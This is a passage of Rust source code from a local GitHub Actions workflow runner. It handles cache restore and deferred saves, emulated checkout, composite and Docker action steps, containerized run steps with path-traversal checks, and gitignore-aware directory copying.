2971) -> Result<StepResult, ExecutionError> {
2972    let with = ctx.step.with.as_ref();
2973    let key = with
2974        .and_then(|w| w.get("key"))
2975        .map(|s| preprocess_with_value(s, ctx))
2976        .unwrap_or_default();
2977    let cache_path_raw = with
2978        .and_then(|w| w.get("path"))
2979        .map(|s| preprocess_with_value(s, ctx))
2980        .unwrap_or_default();
2981    // actions/cache supports multi-line `path` input (one path per line)
2982    let cache_paths: Vec<String> = cache_path_raw
2983        .lines()
2984        .map(|l| l.trim().to_string())
2985        .filter(|l| !l.is_empty())
2986        .collect();
2987    let restore_keys: Vec<String> = with
2988        .and_then(|w| w.get("restore-keys"))
2989        .map(|s| preprocess_with_value(s, ctx))
2990        .map(|s| {
2991            s.lines()
2992                .map(|l| l.trim().to_string())
2993                .filter(|l| !l.is_empty())
2994                .collect()
2995        })
2996        .unwrap_or_default();
2997
2998    if key.is_empty() || cache_paths.is_empty() {
2999        return Ok(StepResult::new(
3000            step_name.to_string(),
3001            StepStatus::Failure,
3002            "Required inputs 'key' and 'path' not provided for actions/cache".to_string(),
3003        ));
3004    }
3005
3006    // Try to restore each path. A hit on any path counts as a cache hit.
3007    let mut cache_hit: Option<String> = None;
3008    for cache_path in &cache_paths {
3009        let hit = ctx
3010            .services
3011            .cache_store
3012            .restore(&key, &restore_keys, cache_path, ctx.working_dir)
3013            .await;
3014        if cache_hit.is_none() {
3015            cache_hit = hit;
3016        }
3017    }
3018
3019    // Write cache-hit output to GITHUB_OUTPUT file
3020    if let Some(output_path) = ctx.job_env.get("GITHUB_OUTPUT") {
3021        let hit_val = if cache_hit.is_some() { "true" } else { "false" };
3022        if let Err(e) = std::fs::OpenOptions::new()
3023            .append(true)
3024            .open(output_path)
3025            .and_then(|mut f| {
3026                use std::io::Write;
3027                writeln!(f, "cache-hit={}", hit_val)
3028            })
3029        {
3030            wrkflw_logging::warning(&format!(
3031                "Failed to write cache-hit to GITHUB_OUTPUT: {}",
3032                e
3033            ));
3034        }
3035    }
3036
3037    match &cache_hit {
3038        Some(matched_key) => {
3039            wrkflw_logging::info(&format!("  Cache restored (key: {})", matched_key));
3040            Ok(StepResult::new(
3041                step_name.to_string(),
3042                StepStatus::Success,
3043                format!("Cache restored (key: {})", matched_key),
3044            ))
3045        }
3046        None => {
3047            // Defer the save to end-of-job, matching GitHub Actions' behavior where
3048            // `actions/cache` saves in a post-step hook that only runs after all
3049            // steps complete and the job succeeds.
3050            {
3051                let mut pending = ctx
3052                    .pending_cache_saves
3053                    .lock()
3054                    .unwrap_or_else(|e| e.into_inner());
3055                for cache_path in &cache_paths {
3056                    pending.push(PendingCacheSave {
3057                        key: key.clone(),
3058                        path: cache_path.clone(),
3059                        workspace: ctx.working_dir.to_path_buf(),
3060                    });
3061                }
3062            }
3063            let msg = format!("Cache miss for key '{}'. Save deferred to end of job.", key);
3064            wrkflw_logging::info(&format!("  {}", msg));
3065            Ok(StepResult::new(
3066                step_name.to_string(),
3067                StepStatus::Success,
3068                msg,
3069            ))
3070        }
3071    }
3072}
3073
3074async fn execute_step(ctx: StepExecutionContext<'_>) -> Result<StepResult, ExecutionError> {
3075    let step_name = ctx
3076        .step
3077        .name
3078        .clone()
3079        .unwrap_or_else(|| format!("Step {}", ctx.step_idx + 1));
3080
3081    if ctx.verbose {
3082        wrkflw_logging::info(&format!("  Executing step: {}", step_name));
3083    }
3084
3085    // Prepare step environment. `step_env` is the merged lookup map (runner +
3086    // user); `step_user_env` mirrors only the user-declared slice and is what
3087    // `toJSON(env)` sees.
3088    let mut step_env = ctx.job_env.clone();
3089    let mut step_user_env = ctx.job_user_env.clone();
3090
3091    // Add step-level environment variables (with secret + expression substitution)
3092    for (key, value) in &ctx.step.env {
3093        let resolved_value = if let Some(secret_manager) = ctx.services.secret_manager {
3094            let mut substitution = SecretSubstitution::new(secret_manager);
3095            match substitution.substitute(value).await {
3096                Ok(resolved) => resolved,
3097                Err(e) => {
3098                    wrkflw_logging::error(&format!(
3099                        "Failed to resolve secrets in environment variable {}: {}",
3100                        key, e
3101                    ));
3102                    value.clone()
3103                }
3104            }
3105        } else {
3106            value.clone()
3107        };
3108        // Resolve ${{ }} expressions in env values (e.g. ${{inputs.toolchain}})
3109        let env_expr_ctx = ctx.expr_context_with_env(&step_env, &step_user_env);
3110        let resolved_value = match crate::substitution::preprocess_expressions(
3111            &resolved_value,
3112            ctx.working_dir,
3113            &env_expr_ctx,
3114        ) {
3115            Ok(r) => r,
3116            Err(_) => resolved_value,
3117        };
3118        step_env.insert(key.clone(), resolved_value.clone());
3119        step_user_env.insert(key.clone(), resolved_value);
3120    }
3121
3122    // Execute the step based on its type
3123    let step_result = if let Some(uses) = &ctx.step.uses {
3124        // Action step
3125        let action_info = ctx.workflow.resolve_action(uses);
3126
3127        // Check if this is the checkout action
3128        if uses.starts_with("actions/checkout") {
3129            // Get the current directory (assumes this is where your project is)
3130            let current_dir = std::env::current_dir().map_err(|e| {
3131                ExecutionError::Execution(format!("Failed to get current dir: {}", e))
3132            })?;
3133
3134            // Copy the project files to the workspace
3135            copy_directory_contents(&current_dir, ctx.working_dir)?;
3136
3137            // Add info for logs
3138            let output = if ctx.verbose {
3139                let mut detailed_output =
3140                    "Emulated checkout: Copied current directory to workspace\n\n".to_string();
3141
3142                // Add checkout action details
3143                detailed_output.push_str("Checkout Details:\n");
3144                detailed_output.push_str("  - Source: Local directory\n");
3145                detailed_output
3146                    .push_str(&format!("  - Destination: {}\n", ctx.working_dir.display()));
3147
3148                // Add a summary count instead of listing all files
3149                if let Ok(entries) = std::fs::read_dir(&current_dir) {
3150                    let entry_count = entries.count();
3151                    detailed_output.push_str(&format!(
3152                        "\nCopied {} top-level items to workspace\n",
3153                        entry_count
3154                    ));
3155                }
3156
3157                detailed_output
3158            } else {
3159                "Emulated checkout: Copied current directory to workspace".to_string()
3160            };
3161
3162            if ctx.verbose {
3163                wrkflw_logging::info(
3164                    "Emulated actions/checkout: copied project files to workspace",
3165                );
3166            }
3167
3168            StepResult::new(step_name, StepStatus::Success, output)
3169        } else if uses.starts_with("actions/upload-artifact") {
3170            handle_upload_artifact(&step_name, &ctx).await?
3171        } else if uses.starts_with("actions/download-artifact") {
3172            handle_download_artifact(&step_name, &ctx).await?
3173        } else if uses.starts_with("actions/cache") {
3174            handle_cache_action(&step_name, &ctx).await?
3175        } else {
3176            // Get action info
3177            let prepared = prepare_action(&action_info, ctx.runtime).await?;
3178
3179            match prepared {
3180                PreparedAction::Composite => {
3181                    if action_info.is_local {
3182                        // Handle local composite action
3183                        let action_path = Path::new(&action_info.repository);
3184                        execute_composite_action(
3185                            ctx.step,
3186                            action_path,
3187                            &step_env,
3188                            &step_user_env,
3189                            ctx.working_dir,
3190                            ctx.runtime,
3191                            ctx.runner_image,
3192                            ctx.verbose,
3193                            &ctx.services,
3194                            ctx.pending_cache_saves,
3195                        )
3196                        .await?
3197                    } else {
3198                        // Handle remote composite action: clone the repo and execute
3199                        let tempdir = tempfile::tempdir().map_err(|e| {
3200                            ExecutionError::Execution(format!("Failed to create temp dir: {}", e))
3201                        })?;
3202                        let repo_url = format!("https://github.com/{}.git", action_info.repository);
3203                        let repo_dir = tempdir.path().join("action");
3204                        shallow_clone(&repo_url, &action_info.version, &repo_dir).await?;
3205                        // If the action has a sub-path, the action.yml is inside that directory
3206                        let action_dir = match &action_info.sub_path {
3207                            Some(p) => {
3208                                sanitize_sub_path(p).map_err(|e| {
3209                                    ExecutionError::Execution(format!(
3210                                        "Invalid sub_path for action '{}': {}",
3211                                        action_info.repository, e
3212                                    ))
3213                                })?;
3214                                let candidate = repo_dir.join(p);
3215                                // Defense-in-depth: verify the resolved path is
3216                                // still inside the cloned repo after symlink resolution.
3217                                let canon_candidate = candidate.canonicalize().map_err(|e| {
3218                                    ExecutionError::Execution(format!(
3219                                        "Failed to canonicalize action sub_path: {}",
3220                                        e
3221                                    ))
3222                                })?;
3223                                let canon_repo = repo_dir.canonicalize().map_err(|e| {
3224                                    ExecutionError::Execution(format!(
3225                                        "Failed to canonicalize repo directory: {}",
3226                                        e
3227                                    ))
3228                                })?;
3229                                if !canon_candidate.starts_with(&canon_repo) {
3230                                    return Err(ExecutionError::Execution(format!(
3231                                        "Action sub_path escapes repository directory for action '{}'",
3232                                        action_info.repository
3233                                    )));
3234                                }
3235                                candidate
3236                            }
3237                            None => repo_dir,
3238                        };
3239                        // tempdir must stay alive until execute_composite_action completes
3240                        execute_composite_action(
3241                            ctx.step,
3242                            &action_dir,
3243                            &step_env,
3244                            &step_user_env,
3245                            ctx.working_dir,
3246                            ctx.runtime,
3247                            ctx.runner_image,
3248                            ctx.verbose,
3249                            &ctx.services,
3250                            ctx.pending_cache_saves,
3251                        )
3252                        .await?
3253                    }
3254                }
3255                PreparedAction::NativeDocker {
3256                    image,
3257                    entrypoint,
3258                    args,
3259                } => {
3260                    execute_native_docker_step(
3261                        &ctx,
3262                        &mut step_env,
3263                        step_name,
3264                        uses,
3265                        image,
3266                        entrypoint,
3267                        args,
3268                    )
3269                    .await?
3270                }
3271                PreparedAction::Image(image) => {
3272                    // Build command for Docker action
3273                    let mut cmd = Vec::new();
3274                    let mut owned_strings: Vec<String> = Vec::new(); // Keep strings alive until after we use cmd
3275
3276                    // Special handling for Rust actions
3277                    if uses.starts_with("actions-rs/") || uses.starts_with("dtolnay/rust-toolchain")
3278                    {
3279                        wrkflw_logging::info(
3280                            "🔄 Detected Rust action - using system Rust installation",
3281                        );
3282
3283                        // For toolchain action, verify Rust is installed
3284                        if uses.starts_with("actions-rs/toolchain@")
3285                            || uses.starts_with("dtolnay/rust-toolchain@")
3286                        {
3287                            let rustc_version = tokio::process::Command::new("rustc")
3288                                .arg("--version")
3289                                .output()
3290                                .await
3291                                .map(|output| String::from_utf8_lossy(&output.stdout).to_string())
3292                                .unwrap_or_else(|_| "not found".to_string());
3293
3294                            wrkflw_logging::info(&format!(
3295                                "🔄 Using system Rust: {}",
3296                                rustc_version.trim()
3297                            ));
3298
3299                            // Return success since we're using system Rust
3300                            return Ok(StepResult::new(
3301                                step_name,
3302                                StepStatus::Success,
3303                                format!("Using system Rust: {}", rustc_version.trim()),
3304                            ));
3305                        }
3306
3307                        // For cargo action, execute cargo commands directly
3308                        if uses.starts_with("actions-rs/cargo@") {
3309                            let cargo_version = tokio::process::Command::new("cargo")
3310                                .arg("--version")
3311                                .output()
3312                                .await
3313                                .map(|output| String::from_utf8_lossy(&output.stdout).to_string())
3314                                .unwrap_or_else(|_| "not found".to_string());
3315
3316                            wrkflw_logging::info(&format!(
3317                                "🔄 Using system Rust/Cargo: {}",
3318                                cargo_version.trim()
3319                            ));
3320
3321                            // Get the command from the 'with' parameters
3322                            if let Some(with_params) = &ctx.step.with {
3323                                if let Some(command) = with_params.get("command") {
3324                                    wrkflw_logging::info(&format!(
3325                                        "🔄 Found command parameter: {}",
3326                                        command
3327                                    ));
3328
3329                                    // Build the actual command
3330                                    let mut real_command = format!("cargo {}", command);
3331
3332                                    // Add any arguments if specified
3333                                    if let Some(args) = with_params.get("args") {
3334                                        if !args.is_empty() {
3335                                            // Resolve GitHub-style matrix variables in args
3336                                            let resolved_args =
3337                                                crate::substitution::process_step_run(
3338                                                    args,
3339                                                    ctx.matrix_combination,
3340                                                )
3341                                                .trim()
3342                                                .to_string();
3343
3344                                            // Only add if we have something left after resolving variables
3345                                            // and it's not just "--target" without a value
3346                                            if !resolved_args.is_empty()
3347                                                && resolved_args != "--target"
3348                                            {
3349                                                real_command
3350                                                    .push_str(&format!(" {}", resolved_args));
3351                                            }
3352                                        }
3353                                    }
3354
3355                                    wrkflw_logging::info(&format!(
3356                                        "🔄 Running actual command: {}",
3357                                        real_command
3358                                    ));
3359
3360                                    // Execute the command
3361                                    let mut cmd = tokio::process::Command::new("sh");
3362                                    cmd.arg("-c");
3363                                    cmd.arg(&real_command);
3364                                    cmd.current_dir(ctx.working_dir);
3365
3366                                    // Add environment variables
3367                                    for (key, value) in &step_env {
3368                                        cmd.env(key, value);
3369                                    }
3370
3371                                    match cmd.output().await {
3372                                        Ok(output) => {
3373                                            let exit_code = output.status.code().unwrap_or(-1);
3374                                            let stdout =
3375                                                String::from_utf8_lossy(&output.stdout).to_string();
3376                                            let stderr =
3377                                                String::from_utf8_lossy(&output.stderr).to_string();
3378
3379                                            return Ok(StepResult::new(
3380                                                step_name,
3381                                                if exit_code == 0 {
3382                                                    StepStatus::Success
3383                                                } else {
3384                                                    StepStatus::Failure
3385                                                },
3386                                                format!("{}\n{}", stdout, stderr),
3387                                            ));
3388                                        }
3389                                        Err(e) => {
3390                                            return Ok(StepResult::new(
3391                                                step_name,
3392                                                StepStatus::Failure,
3393                                                format!("Failed to execute command: {}", e),
3394                                            ));
3395                                        }
3396                                    }
3397                                }
3398                            }
3399                        }
3400                    }
3401
3402                    if action_info.is_docker {
3403                        // Docker actions just run the container
3404                        cmd.push("sh");
3405                        cmd.push("-c");
3406                        cmd.push("echo 'Executing Docker action'");
3407                    } else if action_info.is_local {
3408                        // Local actions: run a placeholder since full local action
3409                        // execution is handled by the Composite branch above
3410                        cmd.push("sh");
3411                        cmd.push("-c");
3412                        cmd.push("echo 'Local action executed'");
3413                    } else {
3414                        // For GitHub actions, check if we have special handling
3415                        if let Err(e) = emulation::handle_special_action(uses).await {
3416                            wrkflw_logging::warning(&format!(
3417                                "Special action handling failed: {}",
3418                                e
3419                            ));
3420                        }
3421
3422                        // Check if we should hide GitHub action messages
3423                        let hide_action_value = ctx
3424                            .job_env
3425                            .get("WRKFLW_HIDE_ACTION_MESSAGES")
3426                            .cloned()
3427                            .unwrap_or_else(|| "not set".to_string());
3428
3429                        wrkflw_logging::debug(&format!(
3430                            "WRKFLW_HIDE_ACTION_MESSAGES value: {}",
3431                            hide_action_value
3432                        ));
3433
3434                        let hide_messages = hide_action_value == "true";
3435                        wrkflw_logging::debug(&format!("Should hide messages: {}", hide_messages));
3436
3437                        // Only log a message to the console if we're showing action messages
3438                        if !hide_messages {
3439                            wrkflw_logging::info(&format!("Would execute GitHub action: {}", uses));
3440                        }
3441
3442                        // Extract the actual command from the GitHub action if applicable
3443                        let mut should_run_real_command = false;
3444                        let mut real_command_parts = Vec::new();
3445
3446                        // Check if this action has 'with' parameters that specify a command to run
3447                        if let Some(with_params) = &ctx.step.with {
3448                            // Common GitHub action pattern: has a 'command' parameter
3449                            if let Some(cmd) = with_params.get("command") {
3450                                if ctx.verbose {
3451                                    wrkflw_logging::info(&format!(
3452                                        "🔄 Found command parameter: {}",
3453                                        cmd
3454                                    ));
3455                                }
3456
3457                                // Convert to real command based on action type patterns
3458                                if uses.contains("cargo") || uses.contains("rust") {
3459                                    // Cargo command pattern
3460                                    real_command_parts.push("cargo".to_string());
3461                                    real_command_parts.push(cmd.clone());
3462                                    should_run_real_command = true;
3463                                } else if uses.contains("node") || uses.contains("npm") {
3464                                    // Node.js command pattern
3465                                    if cmd == "npm" || cmd == "yarn" || cmd == "pnpm" {
3466                                        real_command_parts.push(cmd.clone());
3467                                    } else {
3468                                        real_command_parts.push("npm".to_string());
3469                                        real_command_parts.push("run".to_string());
3470                                        real_command_parts.push(cmd.clone());
3471                                    }
3472                                    should_run_real_command = true;
3473                                } else if uses.contains("python") || uses.contains("pip") {
3474                                    // Python command pattern
3475                                    if cmd == "pip" {
3476                                        real_command_parts.push("pip".to_string());
3477                                    } else {
3478                                        real_command_parts.push("python".to_string());
3479                                        real_command_parts.push("-m".to_string());
3480                                        real_command_parts.push(cmd.clone());
3481                                    }
3482                                    should_run_real_command = true;
3483                                } else {
3484                                    // Generic command - try to execute directly if available
3485                                    real_command_parts.push(cmd.clone());
3486                                    should_run_real_command = true;
3487                                }
3488
3489                                // Add any arguments if specified
3490                                if let Some(args) = with_params.get("args") {
3491                                    if !args.is_empty() {
3492                                        // Resolve GitHub-style matrix variables in args
3493                                        let resolved_args = crate::substitution::process_step_run(
3494                                            args,
3495                                            ctx.matrix_combination,
3496                                        )
3497                                        .trim()
3498                                        .to_string();
3499
3500                                        // Only add if we have something left after resolving variables
3501                                        if !resolved_args.is_empty() {
3502                                            real_command_parts.push(resolved_args);
3503                                        }
3504                                    }
3505                                }
3506                            }
3507                        }
3508
3509                        if should_run_real_command && !real_command_parts.is_empty() {
3510                            // Build a final command string
3511                            let command_str = real_command_parts.join(" ");
3512                            wrkflw_logging::info(&format!(
3513                                "🔄 Running actual command: {}",
3514                                command_str
3515                            ));
3516
3517                            // Replace the emulated command with a shell command to execute our command
3518                            cmd.clear();
3519                            cmd.push("sh");
3520                            cmd.push("-c");
3521                            owned_strings.push(command_str);
3522                            cmd.push(owned_strings.last().unwrap());
3523                        } else {
3524                            // Fall back to emulation for actions we don't know how to execute
3525                            cmd.clear();
3526                            cmd.push("sh");
3527                            cmd.push("-c");
3528
3529                            let escaped_uses = uses.replace('\'', "'\\''");
3530                            let echo_msg =
3531                                format!("echo 'Would execute GitHub action: {}'", escaped_uses);
3532                            owned_strings.push(echo_msg);
3533                            cmd.push(owned_strings.last().unwrap());
3534                        }
3535                    }
3536
3537                    // Convert 'with' parameters to environment variables
3538                    if let Some(with_params) = &ctx.step.with {
3539                        for (key, value) in with_params {
3540                            step_env.insert(format!("INPUT_{}", key.to_uppercase()), value.clone());
3541                        }
3542                    }
3543
3544                    let container_workspace = Path::new("/github/workspace");
3545                    let mount_ctx = prepare_step_container_context(
3546                        &mut step_env,
3547                        ctx.job_env,
3548                        ctx.container_config,
3549                    );
3550                    let volumes = mount_ctx.build_volumes(ctx.working_dir, container_workspace);
3551                    let env_vars: Vec<(&str, &str)> = step_env
3552                        .iter()
3553                        .map(|(k, v)| (k.as_str(), v.as_str()))
3554                        .collect();
3555
3556                    let output = ctx
3557                        .runtime
3558                        .run_container(
3559                            &image,
3560                            &cmd.to_vec(),
3561                            &env_vars,
3562                            container_workspace,
3563                            &volumes,
3564                            None,
3565                        )
3566                        .await
3567                        .map_err(|e| ExecutionError::Runtime(format!("{}", e)))?;
3568
3569                    // Build verbose output for GitHub actions when applicable
3570                    let output_text = if ctx.verbose
3571                        && output.exit_code == 0
3572                        && uses.contains('/')
3573                        && !uses.starts_with("./")
3574                    {
3575                        let mut detailed_output =
3576                            format!("Would execute GitHub action: {}\n", uses);
3577
3578                        // Add information about the action inputs if available
3579                        if let Some(with_params) = &ctx.step.with {
3580                            detailed_output.push_str("\nAction inputs:\n");
3581                            for (key, value) in with_params {
3582                                detailed_output.push_str(&format!("  {}: {}\n", key, value));
3583                            }
3584                        }
3585
3586                        // Add standard GitHub action environment variables
3587                        // (mask INPUT_* values since they may contain secrets)
3588                        detailed_output.push_str("\nEnvironment variables:\n");
3589                        for (key, value) in step_env.iter() {
3590                            if key.starts_with("GITHUB_") {
3591                                detailed_output.push_str(&format!("  {}: {}\n", key, value));
3592                            } else if key.starts_with("INPUT_") {
3593                                detailed_output.push_str(&format!("  {}: ***\n", key));
3594                            }
3595                        }
3596
3597                        // Include the original output
3598                        detailed_output
3599                            .push_str(&format!("\nOutput:\n{}\n{}", output.stdout, output.stderr));
3600                        detailed_output
3601                    } else {
3602                        format!("{}\n{}", output.stdout, output.stderr)
3603                    };
3604
3605                    // Add detailed error information for failed cargo/rust commands
3606                    if output.exit_code != 0 && (uses.contains("cargo") || uses.contains("rust")) {
3607                        let mut error_details = format!(
3608                            "\n\n{} Command failed with exit code: {}\n",
3609                            wrkflw_logging::symbols::FAILURE,
3610                            output.exit_code
3611                        );
3612
3613                        error_details.push_str(&format!("Command: {}\n", cmd.join(" ")));
3614
3615                        error_details.push_str("\nEnvironment:\n");
3616                        for (key, value) in step_env.iter() {
3617                            if key.starts_with("GITHUB_") || key.starts_with("RUST") {
3618                                error_details.push_str(&format!("  {}: {}\n", key, value));
3619                            } else if key.starts_with("INPUT_") {
3620                                error_details.push_str(&format!("  {}: ***\n", key));
3621                            }
3622                        }
3623
3624                        error_details.push_str("\nDetailed output:\n");
3625                        error_details.push_str(&output.stdout);
3626                        error_details.push_str(&output.stderr);
3627
3628                        return Ok(StepResult::new(
3629                            step_name,
3630                            StepStatus::Failure,
3631                            format!("{}\n{}", output_text, error_details),
3632                        ));
3633                    }
3634
3635                    StepResult::new(
3636                        step_name,
3637                        if output.exit_code == 0 {
3638                            StepStatus::Success
3639                        } else {
3640                            StepStatus::Failure
3641                        },
3642                        format!(
3643                            "Exit code: {}\n{}\n{}",
3644                            output.exit_code, output.stdout, output.stderr
3645                        ),
3646                    )
3647                }
3648            }
3649        }
3650    } else if let Some(run) = &ctx.step.run {
3651        // Run step
3652        let mut output = String::new();
3653        let mut status = StepStatus::Success;
3654        let mut error_details = None;
3655
3656        // Perform secret substitution if secret manager is available
3657        let resolved_run = if let Some(secret_manager) = ctx.services.secret_manager {
3658            let mut substitution = SecretSubstitution::new(secret_manager);
3659            match substitution.substitute(run).await {
3660                Ok(resolved) => resolved,
3661                Err(e) => {
3662                    return Ok(StepResult::new(
3663                        step_name,
3664                        StepStatus::Failure,
3665                        format!("Secret substitution failed: {}", e),
3666                    ));
3667                }
3668            }
3669        } else {
3670            run.clone()
3671        };
3672
3673        // Resolve expression substitutions (hashFiles, step outputs, env, matrix vars)
3674        let run_expr_ctx = ctx.expr_context();
3675        let resolved_run = match crate::substitution::preprocess_expressions(
3676            &resolved_run,
3677            ctx.working_dir,
3678            &run_expr_ctx,
3679        ) {
3680            Ok(r) => r,
3681            Err(e) => {
3682                return Ok(StepResult::new(
3683                    step_name,
3684                    StepStatus::Failure,
3685                    format!("Expression substitution failed: {}", e),
3686                ));
3687            }
3688        };
3689
3690        // Check if this is a cargo command
3691        let is_cargo_cmd = resolved_run.trim().starts_with("cargo");
3692
3693        // Resolve effective shell: step > job defaults > workflow defaults > "bash"
3694        let effective_shell = ctx
3695            .step
3696            .shell
3697            .as_deref()
3698            .or_else(|| {
3699                ctx.job_defaults
3700                    .and_then(|d| d.run.as_ref()?.shell.as_deref())
3701            })
3702            .or_else(|| {
3703                ctx.workflow_defaults
3704                    .and_then(|d| d.run.as_ref()?.shell.as_deref())
3705            })
3706            .unwrap_or("bash");
3707
3708        let cmd_parts = match effective_shell {
3709            "bash" => vec![
3710                "bash",
3711                "--noprofile",
3712                "--norc",
3713                "-e",
3714                "-o",
3715                "pipefail",
3716                "-c",
3717                &resolved_run,
3718            ],
3719            "sh" => vec!["sh", "-e", "-c", &resolved_run],
3720            "python" => vec!["python", "-c", &resolved_run],
3721            "pwsh" | "powershell" => vec!["pwsh", "-command", &resolved_run],
3722            other => {
3723                wrkflw_logging::warning(&format!(
3724                    "  Unrecognized shell '{}', falling back to '{} -c'",
3725                    other, other
3726                ));
3727                vec![other, "-c", &resolved_run]
3728            }
3729        };
3730
3731        // Resolve effective working directory: step > job defaults > workflow defaults
3732        let effective_wd = ctx
3733            .step
3734            .working_directory
3735            .as_deref()
3736            .or_else(|| {
3737                ctx.job_defaults
3738                    .and_then(|d| d.run.as_ref()?.working_directory.as_deref())
3739            })
3740            .or_else(|| {
3741                ctx.workflow_defaults
3742                    .and_then(|d| d.run.as_ref()?.working_directory.as_deref())
3743            });
3744
3745        // Define the standard workspace path inside the container
3746        let container_workspace = Path::new("/github/workspace");
3747        let final_workspace = if let Some(wd) = effective_wd {
3748            let joined = container_workspace.join(wd);
3749            // Canonicalize logically to catch ".." traversal and absolute path replacement
3750            let mut normalized = std::path::PathBuf::new();
3751            for component in joined.components() {
3752                match component {
3753                    std::path::Component::ParentDir => {
3754                        normalized.pop();
3755                    }
3756                    c => normalized.push(c.as_os_str()),
3757                }
3758            }
3759            if !normalized.starts_with(container_workspace) {
3760                return Ok(StepResult::new(
3761                    step_name,
3762                    StepStatus::Failure,
3763                    format!(
3764                        "Invalid working-directory '{}': must be within workspace",
3765                        wd
3766                    ),
3767                ));
3768            }
3769            normalized
3770        } else {
3771            container_workspace.to_path_buf()
3772        };
3773
3774        let mount_ctx =
3775            prepare_step_container_context(&mut step_env, ctx.job_env, ctx.container_config);
3776        let volumes = mount_ctx.build_volumes(ctx.working_dir, container_workspace);
3777        let env_vars: Vec<(&str, &str)> = step_env
3778            .iter()
3779            .map(|(k, v)| (k.as_str(), v.as_str()))
3780            .collect();
3781
3782        // Execute the command
3783        match ctx
3784            .runtime
3785            .run_container(
3786                ctx.runner_image,
3787                &cmd_parts,
3788                &env_vars,
3789                &final_workspace,
3790                &volumes,
3791                None,
3792            )
3793            .await
3794        {
3795            Ok(container_output) => {
3796                // Add command details to output (show resolved version so
3797                // users can see expression substitutions were applied)
3798                output.push_str(&format!("Command: {}\n\n", resolved_run));
3799
3800                if !container_output.stdout.is_empty() {
3801                    output.push_str("Standard Output:\n");
3802                    output.push_str(&container_output.stdout);
3803                    output.push('\n');
3804                }
3805
3806                if !container_output.stderr.is_empty() {
3807                    output.push_str("Standard Error:\n");
3808                    output.push_str(&container_output.stderr);
3809                    output.push('\n');
3810                }
3811
3812                if container_output.exit_code != 0 {
3813                    status = StepStatus::Failure;
3814
3815                    // For cargo commands, add more detailed error information
3816                    if is_cargo_cmd {
3817                        let mut error_msg = String::new();
3818                        error_msg.push_str(&format!(
3819                            "\nCargo command failed with exit code {}\n",
3820                            container_output.exit_code
3821                        ));
3822                        error_msg.push_str("Common causes for cargo command failures:\n");
3823
3824                        if run.contains("fmt") {
3825                            error_msg.push_str(
3826                                "- Code formatting issues. Run 'cargo fmt' locally to fix.\n",
3827                            );
3828                        } else if run.contains("clippy") {
3829                            error_msg.push_str("- Linter warnings treated as errors. Run 'cargo clippy' locally to see details.\n");
3830                        } else if run.contains("test") {
3831                            error_msg.push_str("- Test failures. Run 'cargo test' locally to see which tests failed.\n");
3832                        } else if run.contains("build") {
3833                            error_msg.push_str(
3834                                "- Compilation errors. Check the error messages above.\n",
3835                            );
3836                        }
3837
3838                        error_details = Some(error_msg);
3839                    }
3840                }
3841            }
3842            Err(e) => {
3843                status = StepStatus::Failure;
3844                output.push_str(&format!("Error executing command: {}\n", e));
3845            }
3846        }
3847
3848        // If there are error details, append them to the output
3849        if let Some(details) = error_details {
3850            output.push_str(&details);
3851        }
3852
3853        StepResult::new(step_name, status, output)
3854    } else {
3855        return Ok(StepResult::new(
3856            step_name,
3857            StepStatus::Skipped,
3858            "Step has neither 'uses' nor 'run'".to_string(),
3859        ));
3860    };
3861
3862    Ok(step_result)
3863}
3864
3865/// Create a gitignore matcher for the given directory
3866fn create_gitignore_matcher(
3867    dir: &Path,
3868) -> Result<Option<ignore::gitignore::Gitignore>, ExecutionError> {
3869    let mut builder = GitignoreBuilder::new(dir);
3870
3871    // Try to add .gitignore file if it exists
3872    let gitignore_path = dir.join(".gitignore");
3873    if gitignore_path.exists() {
3874        builder.add(&gitignore_path);
3875    }
3876
3877    // Add some common ignore patterns as fallback
3878    builder.add_line(None, "target/").map_err(|e| {
3879        ExecutionError::Execution(format!("Failed to add default ignore pattern: {}", e))
3880    })?;
3881    builder.add_line(None, ".git/").map_err(|e| {
3882        ExecutionError::Execution(format!("Failed to add default ignore pattern: {}", e))
3883    })?;
3884
3885    match builder.build() {
3886        Ok(gitignore) => Ok(Some(gitignore)),
3887        Err(e) => {
3888            wrkflw_logging::warning(&format!("Failed to build gitignore matcher: {}", e));
3889            Ok(None)
3890        }
3891    }
3892}
3893
3894fn copy_directory_contents(from: &Path, to: &Path) -> Result<(), ExecutionError> {
3895    copy_directory_contents_with_gitignore(from, to, None)
3896}
3897
3898fn copy_directory_contents_with_gitignore(
3899    from: &Path,
3900    to: &Path,
3901    gitignore: Option<&ignore::gitignore::Gitignore>,
3902) -> Result<(), ExecutionError> {
3903    // If no gitignore provided, try to create one for the root directory
3904    let root_gitignore;
3905    let gitignore = if gitignore.is_none() {
3906        root_gitignore = create_gitignore_matcher(from)?;
3907        root_gitignore.as_ref()
3908    } else {
3909        gitignore
3910    };
3911
3912    // Log summary of the copy operation
3913    wrkflw_logging::debug(&format!(
3914        "Copying directory contents from {} to {}",
3915        from.display(),
3916        to.display()
3917    ));
3918
3919    for entry in std::fs::read_dir(from)
3920        .map_err(|e| ExecutionError::Execution(format!("Failed to read directory: {}", e)))?
3921    {
3922        let entry =
3923            entry.map_err(|e| ExecutionError::Execution(format!("Failed to read entry: {}", e)))?;
3924        let path = entry.path();
3925
3926        if path.is_symlink() {
3927            wrkflw_logging::debug(&format!("Skipping symlink: {:?}", path));
3928            continue;
3929        }
3930
3931        // Check if the file should be ignored according to .gitignore
3932        if let Some(gitignore) = gitignore {
3933            let relative_path = path.strip_prefix(from).unwrap_or(&path);
3934            match gitignore.matched(relative_path, path.is_dir()) {
3935                Match::Ignore(_) => {
3936                    wrkflw_logging::debug(&format!("Skipping ignored file/directory: {path:?}"));
3937                    continue;
3938                }
3939                Match::Whitelist(_) | Match::None => {
3940                    // File is not ignored or explicitly whitelisted
3941                }
3942            }
3943        }
3944
3945        // Log individual files only in trace mode (removed verbose per-file logging)
3946
3947        // Additional basic filtering for hidden files (but allow .gitignore and .github)
3948        let file_name = match path.file_name() {
3949            Some(name) => name.to_string_lossy(),
3950            None => {
3951                return Err(ExecutionError::Execution(format!(
3952                    "Failed to get file name from path: {:?}",
3953                    path
3954                )));
3955            }
3956        };
3957
3958        // Skip most hidden files but allow important ones
3959        if file_name.starts_with(".")
3960            && file_name != ".gitignore"
3961            && file_name != ".github"
3962            && !file_name.starts_with(".env")
3963        {
3964            continue;
3965        }
3966
3967        let dest_path = match path.file_name() {
3968            Some(name) => to.join(name),
3969            None => {
3970                return Err(ExecutionError::Execution(format!(
3971                    "Failed to get file name from path: {:?}",
3972                    path
3973                )));
3974            }
3975        };
3976
3977        if path.is_dir() {
3978            std::fs::create_dir_all(&dest_path)
